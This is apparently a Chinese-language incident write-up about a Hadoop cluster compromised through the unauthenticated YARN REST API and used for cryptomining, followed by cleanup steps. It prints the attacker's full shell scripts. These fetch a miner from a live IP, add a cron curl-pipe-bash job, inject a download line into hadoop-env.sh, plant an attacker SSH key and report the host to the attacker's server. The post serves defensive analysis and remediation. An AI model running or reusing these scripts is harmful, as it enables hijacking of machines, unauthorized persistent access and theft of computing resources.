问题描述
集群CUP占用持续严重超标，结合预警信息及yarn ui的任务列表信息得知，集群被攻击了。由于安全组中的8088端口向所有IP开放，攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击。通常为挖矿程序。
image.png
image.png
问题分析
使用crontab -l可以查看被植入的定时脚本
image.png
索性通过浏览器将脚本下载下来看看别人怎么玩你的，脚本如下：
#!/bin/bash
## kill all others mining process
pkill -f getty
pkill -f /usr/bin/.sshd
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
## kill other high cpu process
ps aux | grep -vw top | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
## get client
WGET="wget -O"
if [ -s /usr/bin/curl ];then
WGET="curl -o -k ";
fi
if [ -s /usr/bin/wget ];then
WGET="wget --no-check-certificate -O ";
fi
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];then
LDR="curl";
fi
SERVER=http://149.28.137.164:8220
DIR=/var/tmp
mkdir -p /var/tmp
chmod 777 /var/tmp
download(){
tmptfile=top`date +%s`
$WGET $DIR/$tmptfile $SERVER/top
mv $DIR/$tmptfile $DIR/top
chmod 777 $DIR/top
tmpcfile=wc.conf`date +%s`
$WGET $DIR/$tmpcfile $SERVER/wc.conf
mv $DIR/$tmpcfile $DIR/wc.conf
}
start(){
cp $DIR/wc.conf $DIR/wl.conf
nohup $DIR/top -c $DIR/wl.conf > /tmp/test.out &
sleep 120
stop
let hr=`grep -i speed /tmp/test.out | head -n1 | awk -F 'max' '{print $2}' | awk '{print $1}' | awk -F '.' '{print $1}' `
let diff=(hr * 50)
let diff=diff/1000
let diff=diff*1000
if [ $diff -lt 15000 ];then
let diff=15000
fi
user=`grep user /$DIR/wl.conf | grep -v "user-agent" | awk -F ':' '{print $2}' | awk -F '.' '{print $1}' | awk -F '"' '{print $2}' | head -n1`
hostname=`hostname`
echo "user:"$user
echo "hostname:"$hostname
echo "diff:$diff"
# sed -i "s/$user/$user.$hostname+$diff/g" $DIR/wl.conf
nohup $DIR/top -c $DIR/wl.conf > /dev/null 2>&1 &
}
stop(){
ps -ef | grep "/var/tmp/top" | grep -v grep | awk '{print $2}' | while read procid
do
kill -9 $procid
done
}
restart(){
stop
start
}
addToCron(){
if crontab -l | grep -q "149.28.137.164:8220"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
(crontab -l 2>/dev/null; echo "0 * * * * $LDR http://149.28.137.164:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
}
addKey(){
mkdir -p ~/.ssh
grep "root@sgp" ~/.ssh/authorized_keys || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChb5kWdC0BmwWKxXjBeqw+D1Cze1fb+Lq2ZtxfXqyCBVt7syW2WqCXeGNoM6qSMaAo+HhmBCCY+PTr9aSIrZ8/KUu5ImBmdRJRKYSK4YtrFkYtmZDsAeiUqXEkYwZvNS6xDZ7b+3Fnbq9rBYnslN0+9Mkl3ORpDCfQIsGzfpOSKPz5RlliEIV5Q8mCODBTvy+DkFsd7qLk1vrCNLOQgkp+0+pzPeTVquIIjTvE0RDwP5l5YJ3jl4VnRC8ZkgxG6dBRqLxiJskYauCBfvhgHxzA6rricqusxzUytq8ZLb8CE19fT2nVkbuhSS9o+4cVzso3J9Gg/tL+tKKYq9A+1gGN root@sgp" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
}
hb(){
hostname=`hostname`
user=`whoami`
mining=`ps -ef | grep /var/tmp/top | grep -v grep | wc -l`
agent_running=0
# cron=`crontab -l`
ip=`curl ip.cn | awk '{print $2}' | awk -F '：' '{print $2}'`
cron="xxxx"
curl -i -H "Content-Type: application/json" -X POST $SERVER/webservice/api/v1.0/hb -d '{
"hostname":"'"${hostname}"'",
"user":"'"${user}"'",
"mining":"'"${mining}"'",
"ip":"'"${ip}"'",
"agent_running":"'"${agent_running}"'",
"cron":"'"${cron}"'"
}'
}
## avoid multi process in one machine
## judge whether need to update mine program
if [ -a "/var/tmp/top" ];then
## judge if remote mining program update
local_p_sum=$(md5sum /var/tmp/top | awk '{ print $1 }')
remote_p_sum=`$LDR $SERVER/pmd5sum.txt`
local_c_sum=$(md5sum /var/tmp/wc.conf | awk '{ print $1 }')
remote_c_sum=`$LDR $SERVER/cmd5sum.txt`
if [ "$local_p_sum"x = "$remote_p_sum"x ];then
if [ "$local_c_sum"x = "$remote_c_sum"x ];then
echo "Both Checksum equal , no need update . "
# check mining program is running or not
if [ ! "$(ps -fe|grep '/var/tmp/top'|grep 'wl.conf'|grep -v grep)" ];then
echo "Starting program. "
start
else
echo "Still running ..."
fi
else
echo "Config Checksum not equal , download and restart. "
stop
download
start
fi
else
echo "Program Checksum not equal , download and restart. "
stop
download
start
fi
else
stop
download
start
fi
addToCron
addKey
hb
所谓想要征服岛国，首先要了解它。
有脚本程序大概知道它操纵了哪些东西，但还是不够的（后面补充）。首先从脚本得到下载的垃圾（恶意）文件位置
诸如此类
/tmp/test.out
/var/top
/var/top*
/var/wc.conf
/var/wc.conf*
/var/wl.conf
/var/wc.conf*
补充：攻击者另外已在你的sh文件中加了一行命令（这也是为何只单纯删除掉下载的文件和杀死相关进程后攻击程序过一段时间后还定时启动的原因），茫然，鬼知道他在那个文件做了手脚。无奈只能搜索文件内容，由于攻击者通过远程服务器下载的脚本，通过它的ip搜索。
[root@octserver1 ~]# find /usr | xargs grep -ri -s "149.28.137.164"
/usr/tmp/wc.conf: "url": "149.28.137.164:7777",
/usr/tmp/wl.conf: "url": "149.28.137.164:7777",
/usr/tmp/wc.conf1543939305: "url": "149.28.137.164:7777",
/usr/tmp/wc.conf1543939321: "url": "149.28.137.164:7777",
/usr/hdp/2.6.5.0-292/hadoop/etc/hadoop/hadoop-env.sh: curl http://149.28.137.164:8220/install.sh | bash -sh
/usr/hdp/2.6.5.0-292/hadoop/conf/hadoop-env.sh: curl http://149.28.137.164:8220/install.sh | bash -sh
/usr/hdp/2.6.5.0-292/hadoop-yarn/etc/hadoop/hadoop-env.sh: curl http://149.28.137.164:8220/install.sh | bash -sh
[root@octserver1 ~]# find /var/tmp | xargs grep -ri -s "149.28.137.164"
/var/tmp/wc.conf: "url": "149.28.137.164:7777",
/var/tmp/wl.conf: "url": "149.28.137.164:7777",
/var/tmp/wc.conf1543939305: "url": "149.28.137.164:7777",
/var/tmp/wc.conf1543939321: "url": "149.28.137.164:7777",
/var/tmp/wc.conf: "url": "149.28.137.164:7777",
/var/tmp/wl.conf: "url": "149.28.137.164:7777",
/var/tmp/wc.conf1543939305: "url": "149.28.137.164:7777",
/var/tmp/wc.conf1543939321: "url": "149.28.137.164:7777",
由脚本添加的curl http://149.28.137.164:8220/install.sh | bash -sh，下载install.sh内容如下：
#!/bin/bash
addToCron(){
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];then
LDR="curl";
fi
if crontab -l | grep -q "149.28.137.164:8220"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
(crontab -l 2>/dev/null; echo "0 * * * * $LDR http://149.28.137.164:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
}
addKey(){
mkdir -p ~/.ssh
grep "root@sgp" ~/.ssh/authorized_keys || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChb5kWdC0BmwWKxXjBeqw+D1Cze1fb+Lq2ZtxfXqyCBVt7syW2WqCXeGNoM6qSMaAo+HhmBCCY+PTr9aSIrZ8/KUu5ImBmdRJRKYSK4YtrFkYtmZDsAeiUqXEkYwZvNS6xDZ7b+3Fnbq9rBYnslN0+9Mkl3ORpDCfQIsGzfpOSKPz5RlliEIV5Q8mCODBTvy+DkFsd7qLk1vrCNLOQgkp+0+pzPeTVquIIjTvE0RDwP5l5YJ3jl4VnRC8ZkgxG6dBRqLxiJskYauCBfvhgHxzA6rricqusxzUytq8ZLb8CE19fT2nVkbuhSS9o+4cVzso3J9Gg/tL+tKKYq9A+1gGN root@sgp" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
}
addToCron
addKey
解决问题
所有集群节点一样的操作
1、停止所有hadoop集群服务，通过jps查看并停止无关的java进程
类似以下进程无法正常kill掉，rm -rf /tmp/hsperfdata_*可以快速清除这些残留进程
image.png
2、查看定时脚本，删除被植入的定时任务
image.png
3、通过top命令查看占用CPU高的进程，并kill掉
image.png
4、删除/var/tmp目录下top、wc.conf、wl.conf等，只保留aliyun_assist_update.lock、systemd-private-*
image.png
5、删除被添加的脚本内容,最后发现hadoop-env.sh是同一个文件的链接。修改/usr/hdp/2.6.5.0-292/hadoop/etc/hadoop/hadoop-env.sh即可。在最后一行去掉被植入的内容。
6、重启服务。
参考：https://blog.csdn.net/xiaolong_4_2/article/details/81839551